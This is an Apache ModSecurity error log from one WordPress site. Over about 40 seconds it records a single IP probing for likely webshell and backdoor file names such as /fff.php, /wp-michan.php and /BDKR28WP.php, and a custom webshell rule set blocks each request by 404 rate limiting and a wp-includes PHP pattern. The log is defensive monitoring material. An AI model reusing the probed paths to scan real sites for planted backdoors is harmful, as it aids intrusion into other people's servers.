[Thu Apr 09 18:35:30.715805 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:64665] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adeA8jXObuzEuw8mNJv0ywAAAQw"]
[Thu Apr 09 18:35:31.295574 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:63968] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adeA8zXObuzEuw8mNJv0zgAAAQc"]
[Thu Apr 09 18:35:31.893830 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:60376] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adeA8zXObuzEuw8mNJv00QAAAQI"]
[Thu Apr 09 18:35:32.436156 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:64014] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adeA9DXObuzEuw8mNJv01AAAAQY"]
[Thu Apr 09 18:35:32.984737 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:65091] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adeA9MDe826HlFeoLPJ6qAAAAUk"]
[Thu Apr 09 18:35:33.583325 2026] [:error] [pid 20837:tid 20845] [client 20.215.65.153:63244] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adeA9fSL71FHZkjrGzPLaAAAAYY"]
[Thu Apr 09 18:35:34.280064 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:65145] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adeA9jXObuzEuw8mNJv03AAAAQw"]
[Thu Apr 09 18:35:34.805355 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:64604] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adeA9q1OMnvM2fMnB1N8YAAAAAc"]
[Thu Apr 09 18:35:35.324155 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:65137] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adeA9zXObuzEuw8mNJv04gAAARg"]
[Thu Apr 09 18:35:35.857528 2026] [:error] [pid 24927:tid 24952] [client 20.215.65.153:65095] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adeA9zXObuzEuw8mNJv05QAAARY"]
[Thu Apr 09 18:35:36.633105 2026] [:error] [pid 24927:tid 24939] [client 20.215.65.153:62716] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adeA-DXObuzEuw8mNJv06QAAAQk"]
[Thu Apr 09 18:35:37.145907 2026] [:error] [pid 24624:tid 24642] [client 20.215.65.153:64036] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeA-e4Jn-WvK1ZBTvi4XwAAANA"]
[Thu Apr 09 18:35:37.668232 2026] [:error] [pid 24516:tid 24554] [client 20.215.65.153:64629] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeA-dhW7vSS-UkeWCUfPQAAAEc"]
[Thu Apr 09 18:35:38.189786 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:63942] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeA-jXObuzEuw8mNJv07wAAAQo"]
[Thu Apr 09 18:35:38.731956 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:63982] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeA-q1OMnvM2fMnB1N8YQAAAAQ"]
[Thu Apr 09 18:35:39.249341 2026] [:error] [pid 24516:tid 24564] [client 20.215.65.153:60384] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adeA-9hW7vSS-UkeWCUfPgAAAFE"]
[Thu Apr 09 18:35:39.887803 2026] [:error] [pid 24517:tid 24593] [client 20.215.65.153:65174] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adeA-3boYEn2ZFM_PS9xrwAAAJM"]
[Thu Apr 09 18:35:40.429281 2026] [:error] [pid 24515:tid 24532] [client 20.215.65.153:65106] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adeA_K1OMnvM2fMnB1N8YgAAAA0"]
[Thu Apr 09 18:35:41.331153 2026] [:error] [pid 24515:tid 24521] [client 20.215.65.153:62616] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adeA_a1OMnvM2fMnB1N8YwAAAAI"]
[Thu Apr 09 18:35:41.931271 2026] [:error] [pid 18477:tid 18499] [client 20.215.65.153:64031] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adeA_cDe826HlFeoLPJ6rgAAAVQ"]
[Thu Apr 09 18:35:42.465653 2026] [:error] [pid 18477:tid 18487] [client 20.215.65.153:65120] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adeA_sDe826HlFeoLPJ6rwAAAUg"]
[Thu Apr 09 18:35:43.006665 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:62599] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adeA_8De826HlFeoLPJ6sgAAAUo"]
[Thu Apr 09 18:35:43.576782 2026] [:error] [pid 24515:tid 24539] [client 20.215.65.153:63967] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adeA_61OMnvM2fMnB1N8ZQAAABQ"]
[Thu Apr 09 18:35:44.148020 2026] [:error] [pid 20837:tid 20851] [client 20.215.65.153:62662] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adeBAPSL71FHZkjrGzPLagAAAYw"]
[Thu Apr 09 18:35:44.939100 2026] [:error] [pid 24515:tid 24537] [client 20.215.65.153:64642] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adeBAK1OMnvM2fMnB1N8ZwAAABI"]
[Thu Apr 09 18:35:45.894887 2026] [:error] [pid 24517:tid 24588] [client 20.215.65.153:62710] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adeBAXboYEn2ZFM_PS9xswAAAI4"]
[Thu Apr 09 18:35:46.739654 2026] [:error] [pid 24517:tid 24580] [client 20.215.65.153:65204] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adeBAnboYEn2ZFM_PS9xtQAAAIY"]
[Thu Apr 09 18:35:47.927413 2026] [:error] [pid 24515:tid 24520] [client 20.215.65.153:64605] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adeBA61OMnvM2fMnB1N8agAAAAE"]
[Thu Apr 09 18:35:48.519629 2026] [:error] [pid 24517:tid 24596] [client 20.215.65.153:62092] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adeBBHboYEn2ZFM_PS9xtwAAAJY"]
[Thu Apr 09 18:35:49.069989 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:60408] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adeBBe4Jn-WvK1ZBTvi4aQAAAMQ"]
[Thu Apr 09 18:35:49.585305 2026] [:error] [pid 24515:tid 24540] [client 20.215.65.153:63261] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adeBBa1OMnvM2fMnB1N8awAAABU"]
[Thu Apr 09 18:35:50.102440 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:63295] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adeBBq1OMnvM2fMnB1N8bwAAABc"]
[Thu Apr 09 18:35:50.646662 2026] [:error] [pid 18477:tid 18486] [client 20.215.65.153:65138] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adeBBsDe826HlFeoLPJ6tgAAAUc"]
[Thu Apr 09 18:35:51.224792 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:63236] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adeBB_SL71FHZkjrGzPLbgAAAYo"]
[Thu Apr 09 18:35:51.819768 2026] [:error] [pid 24624:tid 24645] [client 20.215.65.153:63941] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adeBB-4Jn-WvK1ZBTvi4bAAAANM"]
[Thu Apr 09 18:35:52.334122 2026] [:error] [pid 24624:tid 24629] [client 20.215.65.153:63951] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adeBCO4Jn-WvK1ZBTvi4bgAAAMM"]
[Thu Apr 09 18:35:52.880620 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:62688] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adeBCDXObuzEuw8mNJv0-AAAAQo"]
[Thu Apr 09 18:35:53.396755 2026] [:error] [pid 24927:tid 24938] [client 20.215.65.153:64680] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adeBCTXObuzEuw8mNJv0_gAAAQg"]
[Thu Apr 09 18:35:53.970052 2026] [:error] [pid 24624:tid 24638] [client 20.215.65.153:62116] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adeBCe4Jn-WvK1ZBTvi4cQAAAMw"]
[Thu Apr 09 18:35:54.560841 2026] [:error] [pid 24516:tid 24564] [client 20.215.65.153:65159] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adeBCthW7vSS-UkeWCUfTwAAAFE"]
[Thu Apr 09 18:35:55.136543 2026] [:error] [pid 20837:tid 20860] [client 20.215.65.153:61508] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adeBC_SL71FHZkjrGzPLcAAAAZU"]
[Thu Apr 09 18:35:56.137984 2026] [:error] [pid 24515:tid 24529] [client 20.215.65.153:63978] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adeBDK1OMnvM2fMnB1N8egAAAAo"]
[Thu Apr 09 18:35:56.668440 2026] [:error] [pid 24515:tid 24520] [client 20.215.65.153:65105] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adeBDK1OMnvM2fMnB1N8fQAAAAE"]
[Thu Apr 09 18:35:57.218427 2026] [:error] [pid 18477:tid 18495] [client 20.215.65.153:64652] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adeBDcDe826HlFeoLPJ6twAAAVA"]
[Thu Apr 09 18:35:57.812713 2026] [:error] [pid 20837:tid 20858] [client 20.215.65.153:62184] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adeBDfSL71FHZkjrGzPLdAAAAZM"]
[Thu Apr 09 18:35:58.444483 2026] [:error] [pid 24515:tid 24541] [client 20.215.65.153:64023] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adeBDq1OMnvM2fMnB1N8gQAAABY"]
[Thu Apr 09 18:35:58.999795 2026] [:error] [pid 24515:tid 24519] [client 20.215.65.153:65148] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adeBDq1OMnvM2fMnB1N8hQAAAAA"]
[Thu Apr 09 18:36:06.115021 2026] [:error] [pid 24515:tid 24541] [client 20.215.65.153:62161] [client 20.215.65.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adeBFq1OMnvM2fMnB1N8owAAABY"]
[Thu Apr 09 18:36:08.803951 2026] [:error] [pid 24927:tid 24951] [client 20.215.65.153:63248] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adeBGDXObuzEuw8mNJv1EAAAARU"]
[Thu Apr 09 18:36:09.374341 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:60394] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adeBGTXObuzEuw8mNJv1EwAAARM"]
[Thu Apr 09 18:36:10.337512 2026] [:error] [pid 24516:tid 24566] [client 20.215.65.153:65181] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adeBGthW7vSS-UkeWCUfUgAAAFM"]
[Thu Apr 09 18:36:10.897709 2026] [:error] [pid 18477:tid 18503] [client 20.215.65.153:64043] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adeBGsDe826HlFeoLPJ6zwAAAVg"]
[Thu Apr 09 18:36:11.409430 2026] [:error] [pid 18477:tid 18500] [client 20.215.65.153:63291] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adeBG8De826HlFeoLPJ60gAAAVU"]
[Thu Apr 09 18:36:11.927771 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:65206] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adeBGzXObuzEuw8mNJv1GwAAAQc"]
[Thu Apr 09 18:36:12.465704 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:64679] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adeBHDXObuzEuw8mNJv1HAAAARA"]
